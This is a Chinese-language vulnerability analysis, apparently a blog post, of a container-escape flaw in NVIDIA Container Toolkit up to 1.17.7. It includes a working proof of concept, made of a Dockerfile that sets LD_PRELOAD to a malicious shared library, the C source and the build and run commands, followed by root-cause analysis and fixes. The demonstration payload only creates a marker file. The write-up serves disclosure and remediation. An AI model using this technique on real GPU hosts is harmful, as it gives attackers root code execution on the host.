一、漏洞信息

首发日期:2025年7月13日

CVSS v3.1 评分:9.0

风险级别:严重

利用难度:容易

修复版本:≥ 1.17.8

必须条件:

  1. 集群版本 < 1.32
  2. 集群中GPU节点的 NVIDIA Container Toolkit 组件版本 <= 1.17.7

攻击者可利用这些漏洞以提升的权限执行任意代码。

二、利用方式

1. 前期准备

  1. nvidia-container-toolkit 版本为 1.17.6
    在这里插入图片描述
  2. NVIDIA 驱动、CUDA 以及容器 runtime 已正确识别 GPU

目前宿主机上有 4 块 Tesla T4 GPU
在这里插入图片描述

2. 漏洞利用

  1. 创建 Dockerfile 文件
FROM busybox
ENV LD_PRELOAD=/proc/self/cwd/evil.so
ADD evil.so /

busybox - 轻量级镜像
ENV LD_PRELOAD - 设置环境变量 LD_PRELOAD,指定动态库 evil.so 的路径
ADD evil.so / - 把本地构建上下文中的 evil.so 文件复制到镜像根目录 /

  • /proc/self/cwd 表示进程当前工作目录,在容器内一般是容器启动目录。所以在容器内运行程序时,/proc/self/cwd/evil.so 能指向容器里 /evil.so
  1. 创建 evil.c 文件
void _init() {
    FILE *f = fopen("/root/proof-lyc-0825", "w");
    if (f) fclose(f);
}
  1. 编译 evil.c 为共享库并构建镜像 poc
gcc -fPIC -shared -o evil.so evil.c -nostartfiles
docker build -t poc .

在这里插入图片描述

  1. 【受害者视角】启动恶意镜像
docker run --rm --runtime=nvidia --gpus=all poc
  1. 检查是否创建目标文件
    在这里插入图片描述

三、根因分析

该漏洞利用的步骤简化:

  1. 攻击者在任何其他主机编译出带有恶意 .so 文件并放入镜像,同时在镜像中配置指向该文件运行时位置的环境变量 LD_PRELOAD
  2. 当这个镜像在目标宿主机上启动时,NVIDIA 的 hook 继承容器的环境变量LD_PRELOAD,并在宿主机上以 root 权限运行;然后它会加载 LD_PRELOAD 指向的 .so 文件,进而执行其中包含的命令

LD_PRELOAD 在程序启动时优先加载的共享库(.so)。
该漏洞的本质是 NCT 的 OCI hook 在容器启动阶段继承了容器环境变量,而未进行安全过滤,导致容器内用户可以通过环境变量注入恶意共享库,在宿主机 root 上执行代码。

Docker 的 Hook 机制,即 OCI 的 createContainer/StartContainer 阶段 hook 会继承容器镜像中的环境变量。
简而言之,在创建容器时,Hook 会读取恶意镜像环境变量,产生 读取 LD_PRELOAD → 加载 evil.so → 执行 _init() 的效果。

因此,该问题涉及以下三个方面的共同作用:

  1. NCT hook 处理环境变量方式

NCT 的 hook 在宿主机运行时,没有过滤关键变量:LD_PRELOAD
这使得容器内用户可以控制宿主机 root 进程的动态链接加载路径。

  1. Linux 动态链接器机制

Linux 动态链接器会优先加载 LD_PRELOAD 指定的库。
因为 hook 以 root 权限运行,所以加载 .so 相当于 在宿主机 root 上执行任意代码。

  1. OCI 权限设计

OCI 设计时假设 hook 是可信任的,没有把容器和宿主机完全隔离,导致容器用户可以影响宿主机 root 进程。

四、修复方案

1. 官方升级

升级 nvidia-container-toolkit 到 1.17.8 及以上版本。
升级后,hook 会安全处理 LD_PRELOAD,不再受容器控制。

2. 禁用 hook 功能

编辑 /etc/nvidia-container-toolkit/config.toml 文件,修改以下内容

[features]
disable-cuda-compat-lib-hook = true
Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐